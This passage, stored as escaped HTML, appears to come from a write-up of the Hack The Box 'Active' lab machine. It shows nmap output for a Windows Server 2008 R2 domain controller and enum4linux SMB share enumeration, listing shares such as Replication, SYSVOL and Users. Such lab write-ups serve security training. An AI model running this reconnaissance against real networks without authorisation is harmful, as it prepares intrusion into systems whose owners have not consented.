class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003eNot\u003c/span\u003e \u003cspan class=\"n\"\u003eshown\u003c/span\u003e\u003cspan class=\"err\"\u003e:\u003c/span\u003e \u003cspan class=\"mf\"\u003e65512\u003c/span\u003e \u003cspan class=\"n\"\u003eclosed\u003c/span\u003e \u003cspan class=\"n\"\u003eports\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003ePORT\u003c/span\u003e      \u003cspan class=\"n\"\u003eSTATE\u003c/span\u003e \u003cspan class=\"n\"\u003eSERVICE\u003c/span\u003e       \u003cspan class=\"n\"\u003eVERSION\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"mf\"\u003e53\u003c/span\u003e\u003cspan class=\"p\"\u003e/\u003c/span\u003e\u003cspan class=\"n\"\u003etcp\u003c/span\u003e    \u003cspan class=\"n\"\u003eopen\u003c/span\u003e  \u003cspan class=\"n\"\u003edomain\u003c/span\u003e        \u003cspan class=\"n\"\u003eMicrosoft\u003c/span\u003e \u003cspan class=\"n\"\u003eDNS\u003c/span\u003e \u003cspan class=\"mf\"\u003e6.1\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"py\"\u003e7601\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003e1DB15D39\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eWindows\u003c/span\u003e \u003cspan class=\"n\"\u003eServer\u003c/span\u003e \u003cspan class=\"mf\"\u003e2008\u003c/span\u003e \u003cspan class=\"n\"\u003eR2\u003c/span\u003e \u003cspan class=\"n\"\u003eSP1\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e|\u003c/span\u003e \u003cspan class=\"nb\"\u003edns-nsid\u003c/span\u003e\u003cspan class=\"err\"\u003e:\u003c/span\u003e \n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e|\u003c/span\u003e\u003cspan class=\"n\"\u003e_\u003c/span\u003e  \u003cspan class=\"n\"\u003ebind\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eversion\u003c/span\u003e\u003cspan class=\"err\"\u003e:\u003c/span\u003e \u003cspan class=\"n\"\u003eMicrosoft\u003c/span\u003e \u003cspan class=\"n\"\u003eDNS\u003c/span\u003e \u003cspan class=\"mf\"\u003e6.1\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"py\"\u003e7601\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003e1DB15D39\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"mf\"\u003e88\u003c/span\u003e\u003cspan class=\"p\"\u003e/\u003c/span\u003e\u003cspan class=\"n\"\u003etcp\u003c/span\u003e    \u003cspan class=\"n\"\u003eopen\u003c/span\u003e  \u003cspan class=\"nb\"\u003ekerberos-sec\u003c/span\u003e  \u003cspan class=\"n\"\u003eMicrosoft\u003c/span\u003e \u003cspan class=\"n\"\u003eWindows\u003c/span\u003e \u003cspan class=\"n\"\u003eKerberos\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eserver\u003c/span\u003e \u003cspan class=\"n\"\u003etime\u003c/span\u003e\u003cspan class=\"err\"\u003e:\u003c/span\u003e \u003cspan class=\"mf\"\u003e2020\u003c/span\u003e\u003cspan class=\"p\"\u003e-\u003c/span\u003e\u003cspan class=\"mf\"\u003e06\u003c/span\u003e\u003cspan class=\"p\"\u003e-\u003c/span\u003e\u003cspan class=\"mf\"\u003e27\u003c/span\u003e \u003cspan class=\"mf\"\u003e14\u003c/span\u003e\u003cspan class=\"err\"\u003e:\u003c/span\u003e\u003cspan class=\"mf\"\u003e12\u003c/span\u003e\u003cspan class=\"err\"\u003e:\u003c/span\u003e\u003cspan class=\"n\"\u003e30Z\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"mf\"\u003e135\u003c/span\u003e\u003cspan class=\"p\"\u003e/\u003c/span\u003e\u003cspan class=\"n\"\u003etcp\u003c/span\u003e   \u003cspan class=\"n\"\u003eopen\u003c/span\u003e  \u003cspan class=\"n\"\u003emsrpc\u003c/span\u003e         \u003cspan class=\"n\"\u003eMicrosoft\u003c/span\u003e \u003cspan class=\"n\"\u003eWindows\u003c/span\u003e \u003cspan class=\"n\"\u003eRPC\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"mf\"\u003e139\u003c/span\u003e\u003cspan class=\"p\"\u003e/\u003c/span\u003e\u003cspan class=\"n\"\u003etcp\u003c/span\u003e   \u003cspan class=\"n\"\u003eopen\u003c/span\u003e  \u003cspan class=\"nb\"\u003enetbios-ssn\u003c/span\u003e   \u003cspan class=\"n\"\u003eMicrosoft\u003c/span\u003e \u003cspan class=\"n\"\u003eWindows\u003c/span\u003e \u003cspan class=\"nb\"\u003enetbios-ssn\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"mf\"\u003e389\u003c/span\u003e\u003cspan class=\"p\"\u003e/\u003c/span\u003e\u003cspan class=\"n\"\u003etcp\u003c/span\u003e   \u003cspan class=\"n\"\u003eopen\u003c/span\u003e  \u003cspan class=\"n\"\u003eldap\u003c/span\u003e          \u003cspan class=\"n\"\u003eMicrosoft\u003c/span\u003e \u003cspan class=\"n\"\u003eWindows\u003c/span\u003e \u003cspan class=\"n\"\u003eActive\u003c/span\u003e \u003cspan class=\"n\"\u003eDirectory\u003c/span\u003e \u003cspan class=\"n\"\u003eLDAP\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eDomain\u003c/span\u003e\u003cspan class=\"err\"\u003e:\u003c/span\u003e \u003cspan class=\"n\"\u003eactive\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ehtb\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eSite\u003c/span\u003e\u003cspan class=\"err\"\u003e:\u003c/span\u003e \u003cspan class=\"nb\"\u003eDefault-First\u003c/span\u003e\u003cspan class=\"n\"\u003e-Site-Name\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"mf\"\u003e445\u003c/span\u003e\u003cspan class=\"p\"\u003e/\u003c/span\u003e\u003cspan class=\"n\"\u003etcp\u003c/span\u003e   \u003cspan class=\"n\"\u003eopen\u003c/span\u003e  \u003cspan class=\"nb\"\u003emicrosoft-ds\u003c/span\u003e\u003cspan class=\"p\"\u003e?\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"mf\"\u003e464\u003c/span\u003e\u003cspan class=\"p\"\u003e/\u003c/span\u003e\u003cspan class=\"n\"\u003etcp\u003c/span\u003e   \u003cspan class=\"n\"\u003eopen\u003c/span\u003e  \u003cspan class=\"n\"\u003etcpwrapped\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"mf\"\u003e593\u003c/span\u003e\u003cspan class=\"p\"\u003e/\u003c/span\u003e\u003cspan class=\"n\"\u003etcp\u003c/span\u003e   \u003cspan class=\"n\"\u003eopen\u003c/span\u003e  \u003cspan class=\"n\"\u003encacn_http\u003c/span\u003e    \u003cspan class=\"n\"\u003eMicrosoft\u003c/span\u003e \u003cspan class=\"n\"\u003eWindows\u003c/span\u003e \u003cspan class=\"n\"\u003eRPC\u003c/span\u003e \u003cspan class=\"n\"\u003eover\u003c/span\u003e \u003cspan class=\"n\"\u003eHTTP\u003c/span\u003e \u003cspan class=\"mf\"\u003e1.0\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"mf\"\u003e636\u003c/span\u003e\u003cspan class=\"p\"\u003e/\u003c/span\u003e\u003cspan class=\"n\"\u003etcp\u003c/span\u003e   \u003cspan class=\"n\"\u003eopen\u003c/span\u003e  \u003cspan class=\"n\"\u003etcpwrapped\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"mf\"\u003e3268\u003c/span\u003e\u003cspan class=\"p\"\u003e/\u003c/span\u003e\u003cspan class=\"n\"\u003etcp\u003c/span\u003e  \u003cspan class=\"n\"\u003eopen\u003c/span\u003e  \u003cspan class=\"n\"\u003eldap\u003c/span\u003e          \u003cspan class=\"n\"\u003eMicrosoft\u003c/span\u003e \u003cspan class=\"n\"\u003eWindows\u003c/span\u003e \u003cspan class=\"n\"\u003eActive\u003c/span\u003e \u003cspan class=\"n\"\u003eDirectory\u003c/span\u003e \u003cspan class=\"n\"\u003eLDAP\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eDomain\u003c/span\u003e\u003cspan class=\"err\"\u003e:\u003c/span\u003e \u003cspan class=\"n\"\u003eactive\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ehtb\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eSite\u003c/span\u003e\u003cspan class=\"err\"\u003e:\u003c/span\u003e \u003cspan class=\"nb\"\u003eDefault-First\u003c/span\u003e\u003cspan class=\"n\"\u003e-Site-Name\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"mf\"\u003e3269\u003c/span\u003e\u003cspan class=\"p\"\u003e/\u003c/span\u003e\u003cspan class=\"n\"\u003etcp\u003c/span\u003e  \u003cspan class=\"n\"\u003eopen\u003c/span\u003e  \u003cspan class=\"n\"\u003etcpwrapped\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"mf\"\u003e5722\u003c/span\u003e\u003cspan class=\"p\"\u003e/\u003c/span\u003e\u003cspan class=\"n\"\u003etcp\u003c/span\u003e  \u003cspan class=\"n\"\u003eopen\u003c/span\u003e  \u003cspan class=\"n\"\u003emsrpc\u003c/span\u003e         \u003cspan class=\"n\"\u003eMicrosoft\u003c/span\u003e \u003cspan class=\"n\"\u003eWindows\u003c/span\u003e \u003cspan class=\"n\"\u003eRPC\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"mf\"\u003e9389\u003c/span\u003e\u003cspan class=\"p\"\u003e/\u003c/span\u003e\u003cspan class=\"n\"\u003etcp\u003c/span\u003e  \u003cspan class=\"n\"\u003eopen\u003c/span\u003e  \u003cspan class=\"nb\"\u003emc-nmf\u003c/span\u003e        \u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eNET\u003c/span\u003e \u003cspan class=\"n\"\u003eMessage\u003c/span\u003e \u003cspan class=\"n\"\u003eFraming\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"mf\"\u003e47001\u003c/span\u003e\u003cspan class=\"p\"\u003e/\u003c/span\u003e\u003cspan class=\"n\"\u003etcp\u003c/span\u003e \u003cspan class=\"n\"\u003eopen\u003c/span\u003e  \u003cspan class=\"n\"\u003ehttp\u003c/span\u003e          \u003cspan class=\"n\"\u003eMicrosoft\u003c/span\u003e \u003cspan class=\"n\"\u003eHTTPAPI\u003c/span\u003e \u003cspan class=\"n\"\u003ehttpd\u003c/span\u003e \u003cspan class=\"mf\"\u003e2.0\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eSSDP\u003c/span\u003e\u003cspan class=\"p\"\u003e/\u003c/span\u003e\u003cspan class=\"n\"\u003eUPnP\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e|\u003c/span\u003e\u003cspan class=\"n\"\u003e_http-server-header:\u003c/span\u003e \u003cspan class=\"nb\"\u003eMicrosoft-HTTPAPI\u003c/span\u003e\u003cspan class=\"p\"\u003e/\u003c/span\u003e\u003cspan class=\"mf\"\u003e2.0\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e|\u003c/span\u003e\u003cspan class=\"n\"\u003e_http-title:\u003c/span\u003e \u003cspan class=\"n\"\u003eNot\u003c/span\u003e \u003cspan class=\"n\"\u003eFound\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"mf\"\u003e49152\u003c/span\u003e\u003cspan class=\"p\"\u003e/\u003c/span\u003e\u003cspan class=\"n\"\u003etcp\u003c/span\u003e \u003cspan class=\"n\"\u003eopen\u003c/span\u003e  \u003cspan class=\"n\"\u003emsrpc\u003c/span\u003e         \u003cspan class=\"n\"\u003eMicrosoft\u003c/span\u003e \u003cspan class=\"n\"\u003eWindows\u003c/span\u003e \u003cspan class=\"n\"\u003eRPC\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"mf\"\u003e49153\u003c/span\u003e\u003cspan class=\"p\"\u003e/\u003c/span\u003e\u003cspan class=\"n\"\u003etcp\u003c/span\u003e \u003cspan class=\"n\"\u003eopen\u003c/span\u003e  \u003cspan class=\"n\"\u003emsrpc\u003c/span\u003e         \u003cspan class=\"n\"\u003eMicrosoft\u003c/span\u003e \u003cspan class=\"n\"\u003eWindows\u003c/span\u003e \u003cspan class=\"n\"\u003eRPC\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"mf\"\u003e49154\u003c/span\u003e\u003cspan class=\"p\"\u003e/\u003c/span\u003e\u003cspan class=\"n\"\u003etcp\u003c/span\u003e \u003cspan class=\"n\"\u003eopen\u003c/span\u003e  \u003cspan class=\"n\"\u003emsrpc\u003c/span\u003e         \u003cspan class=\"n\"\u003eMicrosoft\u003c/span\u003e \u003cspan class=\"n\"\u003eWindows\u003c/span\u003e \u003cspan class=\"n\"\u003eRPC\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"mf\"\u003e49155\u003c/span\u003e\u003cspan class=\"p\"\u003e/\u003c/span\u003e\u003cspan class=\"n\"\u003etcp\u003c/span\u003e \u003cspan class=\"n\"\u003eopen\u003c/span\u003e  \u003cspan class=\"n\"\u003emsrpc\u003c/span\u003e         \u003cspan class=\"n\"\u003eMicrosoft\u003c/span\u003e \u003cspan class=\"n\"\u003eWindows\u003c/span\u003e \u003cspan class=\"n\"\u003eRPC\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"mf\"\u003e49157\u003c/span\u003e\u003cspan class=\"p\"\u003e/\u003c/span\u003e\u003cspan class=\"n\"\u003etcp\u003c/span\u003e \u003cspan class=\"n\"\u003eopen\u003c/span\u003e  \u003cspan class=\"n\"\u003encacn_http\u003c/span\u003e    \u003cspan class=\"n\"\u003eMicrosoft\u003c/span\u003e \u003cspan class=\"n\"\u003eWindows\u003c/span\u003e \u003cspan class=\"n\"\u003eRPC\u003c/span\u003e \u003cspan class=\"n\"\u003eover\u003c/span\u003e \u003cspan class=\"n\"\u003eHTTP\u003c/span\u003e \u003cspan class=\"mf\"\u003e1.0\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"mf\"\u003e49158\u003c/span\u003e\u003cspan class=\"p\"\u003e/\u003c/span\u003e\u003cspan class=\"n\"\u003etcp\u003c/span\u003e \u003cspan class=\"n\"\u003eopen\u003c/span\u003e  \u003cspan class=\"n\"\u003emsrpc\u003c/span\u003e         \u003cspan class=\"n\"\u003eMicrosoft\u003c/span\u003e \u003cspan class=\"n\"\u003eWindows\u003c/span\u003e \u003cspan class=\"n\"\u003eRPC\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"mf\"\u003e49169\u003c/span\u003e\u003cspan class=\"p\"\u003e/\u003c/span\u003e\u003cspan class=\"n\"\u003etcp\u003c/span\u003e \u003cspan class=\"n\"\u003eopen\u003c/span\u003e  \u003cspan class=\"n\"\u003emsrpc\u003c/span\u003e         \u003cspan class=\"n\"\u003eMicrosoft\u003c/span\u003e \u003cspan class=\"n\"\u003eWindows\u003c/span\u003e \u003cspan class=\"n\"\u003eRPC\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"mf\"\u003e49171\u003c/span\u003e\u003cspan class=\"p\"\u003e/\u003c/span\u003e\u003cspan class=\"n\"\u003etcp\u003c/span\u003e \u003cspan class=\"n\"\u003eopen\u003c/span\u003e  \u003cspan class=\"n\"\u003emsrpc\u003c/span\u003e         \u003cspan class=\"n\"\u003eMicrosoft\u003c/span\u003e \u003cspan class=\"n\"\u003eWindows\u003c/span\u003e \u003cspan class=\"n\"\u003eRPC\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"mf\"\u003e49180\u003c/span\u003e\u003cspan class=\"p\"\u003e/\u003c/span\u003e\u003cspan class=\"n\"\u003etcp\u003c/span\u003e \u003cspan class=\"n\"\u003eopen\u003c/span\u003e  \u003cspan class=\"n\"\u003emsrpc\u003c/span\u003e         \u003cspan class=\"n\"\u003eMicrosoft\u003c/span\u003e \u003cspan class=\"n\"\u003eWindows\u003c/span\u003e \u003cspan class=\"n\"\u003eRPC\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003eService\u003c/span\u003e \u003cspan class=\"n\"\u003eInfo\u003c/span\u003e\u003cspan class=\"err\"\u003e:\u003c/span\u003e \u003cspan class=\"n\"\u003eHost\u003c/span\u003e\u003cspan class=\"err\"\u003e:\u003c/span\u003e \u003cspan class=\"n\"\u003eDC\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e \u003cspan class=\"n\"\u003eOS\u003c/span\u003e\u003cspan class=\"err\"\u003e:\u003c/span\u003e \u003cspan class=\"n\"\u003eWindows\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e \u003cspan class=\"n\"\u003eCPE\u003c/span\u003e\u003cspan class=\"err\"\u003e:\u003c/span\u003e \u003cspan class=\"n\"\u003ecpe\u003c/span\u003e\u003cspan class=\"err\"\u003e:\u003c/span\u003e\u003cspan class=\"p\"\u003e/\u003c/span\u003e\u003cspan class=\"n\"\u003eo:microsoft\u003c/span\u003e\u003cspan class=\"err\"\u003e:\u003c/span\u003e\u003cspan class=\"n\"\u003ewindows_server_2008\u003c/span\u003e\u003cspan class=\"err\"\u003e:\u003c/span\u003e\u003cspan class=\"n\"\u003er2\u003c/span\u003e\u003cspan class=\"err\"\u003e:\u003c/span\u003e\u003cspan class=\"n\"\u003esp1\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003ecpe\u003c/span\u003e\u003cspan class=\"err\"\u003e:\u003c/span\u003e\u003cspan class=\"p\"\u003e/\u003c/span\u003e\u003cspan class=\"n\"\u003eo:microsoft\u003c/span\u003e\u003cspan class=\"err\"\u003e:\u003c/span\u003e\u003cspan class=\"n\"\u003ewindows\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003eHost\u003c/span\u003e \u003cspan class=\"n\"\u003escript\u003c/span\u003e \u003cspan class=\"n\"\u003eresults\u003c/span\u003e\u003cspan class=\"err\"\u003e:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e|\u003c/span\u003e\u003cspan class=\"n\"\u003e_clock-skew:\u003c/span\u003e \u003cspan class=\"n\"\u003e2m57s\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e|\u003c/span\u003e \u003cspan class=\"nb\"\u003esmb2-security\u003c/span\u003e\u003cspan class=\"n\"\u003e-mode:\u003c/span\u003e \n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e|\u003c/span\u003e   \u003cspan class=\"mf\"\u003e2.02\u003c/span\u003e\u003cspan class=\"err\"\u003e:\u003c/span\u003e \n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e|\u003c/span\u003e\u003cspan class=\"n\"\u003e_\u003c/span\u003e    \u003cspan class=\"n\"\u003eMessage\u003c/span\u003e \u003cspan class=\"n\"\u003esigning\u003c/span\u003e \u003cspan class=\"n\"\u003eenabled\u003c/span\u003e \u003cspan class=\"n\"\u003eand\u003c/span\u003e \u003cspan class=\"n\"\u003erequired\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e|\u003c/span\u003e \u003cspan class=\"nb\"\u003esmb2-time\u003c/span\u003e\u003cspan class=\"err\"\u003e:\u003c/span\u003e \n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e|\u003c/span\u003e   \u003cspan class=\"n\"\u003edate\u003c/span\u003e\u003cspan class=\"err\"\u003e:\u003c/span\u003e \u003cspan class=\"mf\"\u003e2020\u003c/span\u003e\u003cspan class=\"p\"\u003e-\u003c/span\u003e\u003cspan class=\"mf\"\u003e06\u003c/span\u003e\u003cspan class=\"p\"\u003e-\u003c/span\u003e\u003cspan class=\"n\"\u003e27T14\u003c/span\u003e\u003cspan class=\"err\"\u003e:\u003c/span\u003e\u003cspan class=\"mf\"\u003e13\u003c/span\u003e\u003cspan class=\"err\"\u003e:\u003c/span\u003e\u003cspan class=\"mf\"\u003e29\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e|\u003c/span\u003e\u003cspan class=\"n\"\u003e_\u003c/span\u003e  \u003cspan class=\"n\"\u003estart_date\u003c/span\u003e\u003cspan class=\"err\"\u003e:\u003c/span\u003e \u003cspan class=\"mf\"\u003e2020\u003c/span\u003e\u003cspan class=\"p\"\u003e-\u003c/span\u003e\u003cspan class=\"mf\"\u003e06\u003c/span\u003e\u003cspan class=\"p\"\u003e-\u003c/span\u003e\u003cspan class=\"n\"\u003e27T12\u003c/span\u003e\u003cspan class=\"err\"\u003e:\u003c/span\u003e\u003cspan class=\"mf\"\u003e57\u003c/span\u003e\u003cspan class=\"err\"\u003e:\u003c/span\u003e\u003cspan class=\"mf\"\u003e05\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eScanning with the \u003ccode\u003eenum4linux\u003c/code\u003e tool showed that the SMB service was running with open shared directories\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-markdown\" data-lang=\"markdown\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"gh\"\u003e# enum4linux -a 10.10.10.100\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e========================================= \n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e|    Share Enumeration on 10.10.10.100    |\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e ========================================= \n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eUse of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 640.\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\tSharename       Type      Comment\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t---------       ----      -------\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\tADMIN$          Disk      Remote Admin\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\tC$              Disk      Default share\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\tIPC$            IPC       Remote IPC\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\tNETLOGON        Disk      Logon server share \n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\tReplication     Disk      \n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\tSYSVOL          Disk      Logon server share \n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\tUsers           Disk      \n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eSMB1 disabled -- no workgroup available\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e...\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e[+] Attempting to map shares on 10.10.10.100\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eUse of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 654.\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e//10.10.10.100/ADMIN$\tMapping: DENIED, Listing: N/A\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eUse of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 654.\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e//10.10.10.100/C$\tMapping: DENIED, Listing: N/A\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eUse of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 654.\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e//10.10.10.100/IPC$\tMapping: OK\tListing: DENIED\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan 